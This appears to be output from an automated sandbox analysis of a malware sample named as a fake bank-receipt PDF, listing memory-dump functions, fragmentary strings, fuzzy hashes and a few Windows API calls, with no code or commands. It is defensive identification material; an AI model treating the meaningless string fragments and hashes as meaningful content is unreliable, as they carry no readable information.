PH]q, xrefs: 0147D4E0
0o@p, xrefs: 0147D2EA

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: 0o@p$Lj@p$Lj@p$PH]q$PH]q
API String ID: 0-1229222154
Opcode ID: a0b444d2123b9c963fd2ee2845c3db23e3562bc9991758edb328a9f163be596e
Instruction ID: 0bb958b7f205d89186d8f67080e3ad6af51d11b1495caffe20681e6ff9034367
Opcode Fuzzy Hash: a0b444d2123b9c963fd2ee2845c3db23e3562bc9991758edb328a9f163be596e
Instruction Fuzzy Hash: 2C81A274E11218DFDB14DFAAD984ADDBBF2BF88310F14806AD409AB365DB34A945CF50

Function 0147CA0F Relevance: 6.4, Strings: 5, Instructions: 183
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Lj@p, xrefs: 0147CBE7
PH]q, xrefs: 0147CC5F
PH]q, xrefs: 0147CC70
0o@p, xrefs: 0147CA7A
Lj@p, xrefs: 0147CBFD

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: 0o@p$Lj@p$Lj@p$PH]q$PH]q
API String ID: 0-1229222154
Opcode ID: bc1de19b77bd8ab499658ced02509df8df910acf76cc154eaeccfe5d875de0d6
Instruction ID: be8b6ec2cfcbc6b53e2941be9427a0ea537ce0a5512b8e1549bbc30359db54e9
Opcode Fuzzy Hash: bc1de19b77bd8ab499658ced02509df8df910acf76cc154eaeccfe5d875de0d6
Instruction Fuzzy Hash: 5381A574E00219DFDB14DFAAD984A9DBBF2BF88310F14C06AE819AB365DB349945CF50

Function 0147C473 Relevance: 6.4, Strings: 5, Instructions: 181
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0o@p, xrefs: 0147C4DA
PH]q, xrefs: 0147C6BF
PH]q, xrefs: 0147C6D0
Lj@p, xrefs: 0147C65D
Lj@p, xrefs: 0147C647

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: 0o@p$Lj@p$Lj@p$PH]q$PH]q
API String ID: 0-1229222154
Opcode ID: 48fdc1330c7898f10aa1966e7c250ad7f9cab98e9c2bee4265e92e56dc665c2d
Instruction ID: aa57483cc4524aecfb813842c1306df68322fea423e6d3a30b0b71bc689d963d
Opcode Fuzzy Hash: 48fdc1330c7898f10aa1966e7c250ad7f9cab98e9c2bee4265e92e56dc665c2d
Instruction Fuzzy Hash: CE81C574E00219DFDB14DFAAD984A9DBBF2BF88300F14D16AE419AB365DB349941CF50

Function 01476FC8 Relevance: 5.4, Strings: 4, Instructions: 450
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,aq, xrefs: 01477298
,aq, xrefs: 0147728A
(o]q, xrefs: 01477212
(o]q, xrefs: 01477220

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: (o]q$(o]q$,aq$,aq
API String ID: 0-1947289240
Opcode ID: 75b66a37386f1df80164580b52a8d6823a622cc77a3b32f25eac6db122ebd3f1
Instruction ID: ad409cfaa7b4bdbab3ea3c85fd1caa73a85a8d8e5701b2c4adabce907d0bb57a
Opcode Fuzzy Hash: 75b66a37386f1df80164580b52a8d6823a622cc77a3b32f25eac6db122ebd3f1
Instruction Fuzzy Hash: 09024B70A00249DFDB15CF68C888AEEBBB2FF48311F95846AE905AB375D734D941CB51

Function 014729EC Relevance: 5.3, Strings: 4, Instructions: 337
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Xaq, xrefs: 01472B57
Xaq, xrefs: 01472A9E
Xaq, xrefs: 01472BA4
Xaq, xrefs: 01472AD8

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: Xaq$Xaq$Xaq$Xaq
API String ID: 0-4015495023
Opcode ID: d0606abedbafad78206d78cb4ca3c1a04d1108a4281c1424989011a834a10f67
Instruction ID: b35adeb09da06ef43b699eef6bc7dbef251b33cdc17452d620c5cd29f4e24788
Opcode Fuzzy Hash: d0606abedbafad78206d78cb4ca3c1a04d1108a4281c1424989011a834a10f67
Instruction Fuzzy Hash: 38B12330E0031ACFCBA18F6884547EEBBB5FF85314F11456BC18A67265DB709D86CB92

Function 014769AF Relevance: 2.9, Strings: 2, Instructions: 448
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Haq, xrefs: 01476DA6
(o]q, xrefs: 01476EDA

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: (o]q$Haq
API String ID: 0-903699183
Opcode ID: 550c0e10bb2df04510e00b8431687d669ca5d82d572dbe8f3f458c4ebc73efe3
Instruction ID: e5e58d90287232cf90c4baac01387ea99d2322accbc565bcaeb65871daee6b72
Opcode Fuzzy Hash: 550c0e10bb2df04510e00b8431687d669ca5d82d572dbe8f3f458c4ebc73efe3
Instruction Fuzzy Hash: 76029F70A006198FDB15DF69C854AAEBBF7BF88710F15856AE805DB3A5DF309D42CB80

Function 06D10B30 Relevance: .7, Instructions: 709COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4506530175.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6d10000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d69d938122a65271ede634dc52764476e12fc38cc16edcb82baad507749123a
Instruction ID: ba7a33541a916db660e21a3598211cf691cf980c1a50deb95d6805cf54fa2129
Opcode Fuzzy Hash: 6d69d938122a65271ede634dc52764476e12fc38cc16edcb82baad507749123a
Instruction Fuzzy Hash: 9172CD74E012299FDBA4DF69D984BEDBBB2BB49300F1481E9D408AB255DB749EC1CF40

Function 06DBD620 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4506837101.0000000006DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6db0000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df6aeab2766f26e3204ae0fb2087ca6d0fd9c4c45629f4eeed5064b0228eafb4
Instruction ID: 342f5b780104ba88c8ac3b3ecfffa32e154a6cb40529627aaba9926a4f099b5d
Opcode Fuzzy Hash: df6aeab2766f26e3204ae0fb2087ca6d0fd9c4c45629f4eeed5064b0228eafb4
Instruction Fuzzy Hash: 28E1BC74E00218CFDB64DFA5D944B9DBBB2BF88300F2090AAD819A73A5DB355E85CF54

Function 06D1F868 Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4506530175.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6d10000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25f7554ac72a509da9149093afc2b2a3b6963c1199a786ae9d55132a5cb7106d
Instruction ID: 82225dec96cc728eaa2ef5cde27e9c0f1b2300afa440195633c11ce415cf145a
Opcode Fuzzy Hash: 25f7554ac72a509da9149093afc2b2a3b6963c1199a786ae9d55132a5cb7106d
Instruction Fuzzy Hash: ADE1B074E01218CFEB54DFA5D944B9DBBB2FF89304F2080AAD808AB295DB755E85CF50

Function 06DBDCC0 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4506837101.0000000006DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6db0000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c641818849579735607b6978ca16fdb197ab4cb58817f8949e13c4ad01d9723e
Instruction ID: 37efcf2796e14c8869c6b5aa9b242b56cf1f8c971369670248bd1f70cafd778c
Opcode Fuzzy Hash: c641818849579735607b6978ca16fdb197ab4cb58817f8949e13c4ad01d9723e
Instruction Fuzzy Hash: 2BD19E74E01218CFDB54DFA5D944B9DBBB2FF89300F2090A9D409AB2A4DB349E85CF50

Function 06D1AB50 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4506530175.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6d10000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17ae26f37e9baa0a84988f472d4783476fab590579ed07d31eefd0c64357d993
Instruction ID: 9b22125681332e879ca89e871dabcbffd8f77cb87c75a0f8765a798e4bcc7b0a
Opcode Fuzzy Hash: 17ae26f37e9baa0a84988f472d4783476fab590579ed07d31eefd0c64357d993
Instruction Fuzzy Hash: 5CC18D74E01218CFEB54DFA5D984B9DBBB2BF88300F1480A9D809AB365DB759E85CF50

Function 06D1AFB0 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4506530175.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6d10000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 235a6574d283616c219772d5c3718f63afa756d1b893383c40cebf71b2905b6d
Instruction ID: f2708ea4b056bdddeb18c2689ef593c362f8009447bd4293b5a2a373f62ab70c
Opcode Fuzzy Hash: 235a6574d283616c219772d5c3718f63afa756d1b893383c40cebf71b2905b6d
Instruction Fuzzy Hash: 10A1F470D00208DFEB14DFA9D548BEDBBB1FF49310F20826AE419AB2A1DB749985CF51

Function 06D1B2F6 Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4506530175.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6d10000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7ee69fbea37cc660bbe5ed028dee9d8efc69f897dfb19e73dc6b4a25cb4a371
Instruction ID: 1ed089c2e3d5d8eb87e749fe083dc45357891d12360864216c904d56ea5576b5
Opcode Fuzzy Hash: d7ee69fbea37cc660bbe5ed028dee9d8efc69f897dfb19e73dc6b4a25cb4a371
Instruction Fuzzy Hash: A791F570D00208DFEB50DFA9D548BEDBBB1FF49310F20926AE509AB291DB749985CF54

Function 0147E988 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3525ca76a0dbc20131b124a27752413c5e415f4f14d22f3dad174d3db9170dc9
Instruction ID: bea830040962aa4df1695f9f5176e8b0c8353c18098a461ca10156efe45dc489
Opcode Fuzzy Hash: 3525ca76a0dbc20131b124a27752413c5e415f4f14d22f3dad174d3db9170dc9
Instruction Fuzzy Hash: 6651B474E00208DFEB18DFAAD584A9DBBB6FF89300F24816AE815BB365DB345845CF14

Function 0147E987 Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0d9c47ebba780d303b2e75efb41f4ae3b8692b85d7bd718d87bc834c9aa2921
Instruction ID: cd9b95da7afdc9bb26d27f074f67ee310d06ae57f656cc9507f4ffb214c25c8b
Opcode Fuzzy Hash: d0d9c47ebba780d303b2e75efb41f4ae3b8692b85d7bd718d87bc834c9aa2921
Instruction Fuzzy Hash: 56519274E00208DFDB18DFAAD584A9EBBB2FF88300F24816AE815BB365DB345845CF14

Function 06DBD60F Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4506837101.0000000006DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6db0000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28f81757354f7e820a43ffee09a6e9c7cc0b863428f330908252818a370a1672
Instruction ID: 08c2538b03ee3f95c2fccb4d875731007f953622759f4cc3af44dddf4f5c8347
Opcode Fuzzy Hash: 28f81757354f7e820a43ffee09a6e9c7cc0b863428f330908252818a370a1672
Instruction Fuzzy Hash: 5151A0B0D01208CBEB58DFAAD8447EEBBF2AF89304F24D06AD419BB254DB754945CF64

Function 06DBDCBD Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4506837101.0000000006DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6db0000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 403c0ec377a27afb6daf123440c30d88f903d51fc125fd4890dc96dc4123bfbb
Instruction ID: 2ff22b0d35924b08b31ffd6bc6fcbe1b9c39c7f89833f659a28ceac5c94a65fd
Opcode Fuzzy Hash: 403c0ec377a27afb6daf123440c30d88f903d51fc125fd4890dc96dc4123bfbb
Instruction Fuzzy Hash: 0441A070E01218CFDB58DFAAD9446DEBBF2BF89300F24D06AD419AB258EB345946CF50

Function 014776F8 Relevance: 10.4, Strings: 8, Instructions: 448
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(o]q, xrefs: 01477C0F
(o]q, xrefs: 01477BFF
,aq, xrefs: 01477BA0
,aq, xrefs: 01477B90
(o]q, xrefs: 014777E9
(o]q, xrefs: 0147772E
(o]q, xrefs: 014778B2
(o]q, xrefs: 01477815

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: (o]q$(o]q$(o]q$(o]q$(o]q$(o]q$,aq$,aq
API String ID: 0-1435242062
Opcode ID: 4d43e418c2315365fa80f5fac1a22d214f513b8bed3c0f46bea6bb5b7a005874
Instruction ID: 653282927ad2797cc915822b6d3bbf38b16facb87aa8184eb68183e48b47567d
Opcode Fuzzy Hash: 4d43e418c2315365fa80f5fac1a22d214f513b8bed3c0f46bea6bb5b7a005874
Instruction Fuzzy Hash: F0126830A006098FCB25CF69D988AEEBBF6FF48315F54856AE5059B371D730E941CB90

Function 01475F38 Relevance: 2.8, Strings: 2, Instructions: 266COMMON

Download Yara Rule

Strings

Haq, xrefs: 01476056
Haq, xrefs: 01476023

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: Haq$Haq
API String ID: 0-4016896955
Opcode ID: a849e4d8fdc3d5679a839870c14dcab5ac5ad69ecd37c35b899c3fbb3e9aea18
Instruction ID: 3ea58a39440e24bc2206374c0de11da21664b50a10026b692f29230ac411624d
Opcode Fuzzy Hash: a849e4d8fdc3d5679a839870c14dcab5ac5ad69ecd37c35b899c3fbb3e9aea18
Instruction Fuzzy Hash: 8891B2703042418FEB169F28D8586BF7BB7BF89210F05856AE4468B3A6CF74CD02C791

Function 01476498 Relevance: 2.7, Strings: 2, Instructions: 198COMMON

Download Yara Rule

Strings

,aq, xrefs: 01476578
,aq, xrefs: 0147656E

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: ,aq$,aq
API String ID: 0-2990736959
Opcode ID: ca25ea3f4d3e23abea77161cb4813ba18014218b444e94cc0e41d869d8d533d6
Instruction ID: c8b6bded95831cf4ec82ba693468304adc6a283b8a9b5c77b113e5aa99b66f8f
Opcode Fuzzy Hash: ca25ea3f4d3e23abea77161cb4813ba18014218b444e94cc0e41d869d8d533d6
Instruction Fuzzy Hash: 7171B070A00906CFEB18CF6DC4849EEBBB3BF88600B96856AD509A7375D731E845CF51

Function 01473CC0 Relevance: 2.6, Strings: 2, Instructions: 112COMMON

Download Yara Rule

Strings

Xaq, xrefs: 01473CF6
Xaq, xrefs: 01473CCD

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: Xaq$Xaq
API String ID: 0-1488805882
Opcode ID: 46c81df74576a5ce0d8b28f53c9fad98ecfde2bab6c3838202f70b6eed4c5e18
Instruction ID: e95564114200dc40532e2a6ba9f75089a4909c047c8a70f37387d3133b7632d4
Opcode Fuzzy Hash: 46c81df74576a5ce0d8b28f53c9fad98ecfde2bab6c3838202f70b6eed4c5e18
Instruction Fuzzy Hash: ED31C8327402258BEF184D6E99942FFA6AABBC4210F14443BD917D33A4DBB5CC46A791

Function 01478EF8 Relevance: 2.6, Strings: 2, Instructions: 99COMMON

Download Yara Rule

Strings

$]q, xrefs: 01478FB4
$]q, xrefs: 01478FD7

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: ebc03d34e7f47a27cdf9a142049fee5f4c3cd83b2154641f16ae371224f1f5af
Instruction ID: dc00a73ccd5c63ca7896fdd4f33ef90a68e7172ce38c6bc2d0ef94e80408ea54
Opcode Fuzzy Hash: ebc03d34e7f47a27cdf9a142049fee5f4c3cd83b2154641f16ae371224f1f5af
Instruction Fuzzy Hash: 953154303041538FD7368B6D88A8ABF7B67AB847107144557E212DB372EA79CC418755

Function 01479D57 Relevance: 2.5, Strings: 2, Instructions: 45COMMON

Download Yara Rule

Strings

4']q, xrefs: 01479D6D
4']q, xrefs: 01479D84

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: 4']q$4']q
API String ID: 0-3120983240
Opcode ID: 543e49e7e0e4941acff32bb55124e51e8d18d99c65a37279f5f008c7f067d77f
Instruction ID: 8821d5fdd6dec80dc7a8355bfb4cacde84ecf9d1238b3ba467791f4e76f87321
Opcode Fuzzy Hash: 543e49e7e0e4941acff32bb55124e51e8d18d99c65a37279f5f008c7f067d77f
Instruction Fuzzy Hash: 62F086353002056FDB191A6A98509BBABEBEFDC370B14852AA909C7360DE758C018761

Function 01470C8F Relevance: 1.8, Strings: 1, Instructions: 543COMMON

Download Yara Rule

Strings

LR]q, xrefs: 01470F19

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: LR]q
API String ID: 0-3081347316
Opcode ID: cf58f580a433cde0ce5ce4f646eba4e2f8717462e55cca6d6dff2d9a020bbe98
Instruction ID: 1a3337397089714974db65e4dbd341af15384cb1dd7c703e19ef228f077ac8a0
Opcode Fuzzy Hash: cf58f580a433cde0ce5ce4f646eba4e2f8717462e55cca6d6dff2d9a020bbe98
Instruction Fuzzy Hash: 3E52C774A01219DFCB64DF24E994A9DBBB2FF48301F5085A9D809A7368DF785E85CF80

Function 01470C99 Relevance: 1.8, Strings: 1, Instructions: 541COMMON

Download Yara Rule

Strings

LR]q, xrefs: 01470F19

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: LR]q
API String ID: 0-3081347316
Opcode ID: d519af788e721be03f679d5a32544c6b5a7280222da1f79dbb5c89157e42a57a
Instruction ID: 48269559a7cf71da99bb4c6dee1362f1fcd56041af6eaeb9835afaadb05df26a
Opcode Fuzzy Hash: d519af788e721be03f679d5a32544c6b5a7280222da1f79dbb5c89157e42a57a
Instruction Fuzzy Hash: E852C874A01219DFCB64DF24E994A9DBBB2FF48301F5085A9D809A7368DF785E85CF80

Function 01470CA0 Relevance: 1.8, Strings: 1, Instructions: 539COMMON

Download Yara Rule

Strings

LR]q, xrefs: 01470F19

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: LR]q
API String ID: 0-3081347316
Opcode ID: 7bd8ef60c91d34ffcf4e343e19d518ab8f5b084ffa9738d3f25b9ac5a11c7795
Instruction ID: 8f4c07c91f16ea0fc990b00e2c44f5550a0d0f7835856552bb69454c2d726a67
Opcode Fuzzy Hash: 7bd8ef60c91d34ffcf4e343e19d518ab8f5b084ffa9738d3f25b9ac5a11c7795
Instruction Fuzzy Hash: 9552C874A01219DFCB64DF24E994A9DBBB2FF48301F5085A9D809A7368DF785E85CF80

Function 0147A4E0 Relevance: 1.7, Strings: 1, Instructions: 437COMMON

Download Yara Rule

Strings

(o]q, xrefs: 0147A518

Memory Dump Source

Source File: 00000003.00000002.4500304474.0000000001470000.00000040.00000800.00020000.00000000.sdmp, Offset: 01470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1470000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: (o]q
API String ID: 0-794736227
Opcode ID: 18941e1196d6269af5a49485cb064af68c8c5040661cc4dc8e40e13abdf9d8c7
Instruction ID: de6efaa67224907cfcac08c64519f4eb580d47d9da0bf91cf74b4e0434e2dbd0
Opcode Fuzzy Hash: 18941e1196d6269af5a49485cb064af68c8c5040661cc4dc8e40e13abdf9d8c7
Instruction Fuzzy Hash: AE02307160020ADFCB15DF68C684AAEBBF6BF88310F298956E4059B3B5D734ED81CB51

Function 06D17390 Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,06D1735E,?,?,?,?,?), ref: 06D1741F

Memory Dump Source

Source File: 00000003.00000002.4506530175.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6d10000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: feb6d49d75d20cd4e62eedf9b0436a0e34f40ad6bcafe1e77d0638180b52454d
Instruction ID: 2d73cd98dd97e7a873ef439b1012c46874461227ee217bf5cf56997362448073
Opcode Fuzzy Hash: feb6d49d75d20cd4e62eedf9b0436a0e34f40ad6bcafe1e77d0638180b52454d
Instruction Fuzzy Hash: 7B21E7B5901208AFDB10CFA9D584ADEBFF8EB48310F14841AE958A7310D378A954CFA5

Function 06D16F9C Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,06D1735E,?,?,?,?,?), ref: 06D1741F

Memory Dump Source

Source File: 00000003.00000002.4506530175.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6d10000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: ab5d76516f302e2315a42c4656db8ce5e3b92990d3097aa35031146637692528
Instruction ID: a9b2384708007885f6f04371df65e6abc33c0434d09c0563aac0b6eb59c24c40
Opcode Fuzzy Hash: ab5d76516f302e2315a42c4656db8ce5e3b92990d3097aa35031146637692528
Instruction Fuzzy Hash: AF21E5B5900218AFDB10CFAAD584AEEBFF4EB48310F14841AE918A7310D378A954CFA4

Function 06D19070 Relevance: 1.6, APIs: 1, Instructions: 62threadCOMMON

Download Yara Rule

APIs

EnumThreadWindows.USER32(?,00000000,?), ref: 06D190E9

Memory Dump Source

Source File: 00000003.00000002.4506530175.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6d10000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID: EnumThreadWindows
String ID:
API String ID: 2941952884-0
Opcode ID: a5287478e58f51c385c8931c3f6b4951e3249c104694988540df6e75f9a11426
Instruction ID: cb8a81a3766e8638600732d8b5cc67b1e0ed2817e6ec93e9f64db27babcf4a95
Opcode Fuzzy Hash: a5287478e58f51c385c8931c3f6b4951e3249c104694988540df6e75f9a11426
Instruction Fuzzy Hash: B6214971D002099FDB14CFAAC854BEEFBF5FB88310F14842AE458A7240D778A945CFA5

Function 06D19400 Relevance: 1.6, APIs: 1, Instructions: 61windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(?,00000000,00000000,?), ref: 06D19485

Memory Dump Source

Source File: 00000003.00000002.4506530175.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6d10000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID: Message
String ID:
API String ID: 2030045667-0
Opcode ID: f9b7a3ba2ac21b1008c75631f8bf82f528432120627b5239296bc5c3ee11e293
Instruction ID: 7470fb37608231adae05f9465f17ee36a4a30a84056684ab072e28b173e9340d
Opcode Fuzzy Hash: f9b7a3ba2ac21b1008c75631f8bf82f528432120627b5239296bc5c3ee11e293
Instruction Fuzzy Hash: 802104B5C01309AFDB10CF9AD894ADEFBF5FB48310F10841AE828AB200C379A544CBA5

Function 06D19078 Relevance: 1.6, APIs: 1, Instructions: 59threadCOMMON

Download Yara Rule

APIs

EnumThreadWindows.USER32(?,00000000,?), ref: 06D190E9

Memory Dump Source

Source File: 00000003.00000002.4506530175.0000000006D10000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6d10000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID: EnumThreadWindows
String ID:
API String ID: 2941952884-0
Opcode ID: 84817967d35dc8bd09971099203e4fed0a3591f8b15f4b030a4885bcc02eb54a
Instruction ID: 1dccf710ba9b2b4ffc6eae83deca39f921677c9f3923a5569494dd936bc606d7
Opcode Fuzzy Hash: 84817967d35dc8bd09971099203e4fed0a3591f8b15f4b030a4885bcc02eb54a
Instruction Fuzzy Hash: 52213871D002099FDB14DF9AC844BEEFBF5FB88310F14842AD458A7250D778A945CFA5

Function 06D19408 Relevance: 1.6, APIs: 1, Instructions: 57windowCOMMON

